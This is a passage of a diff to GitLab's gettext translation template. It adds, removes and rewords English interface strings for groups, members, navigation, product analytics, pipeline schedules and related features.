+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
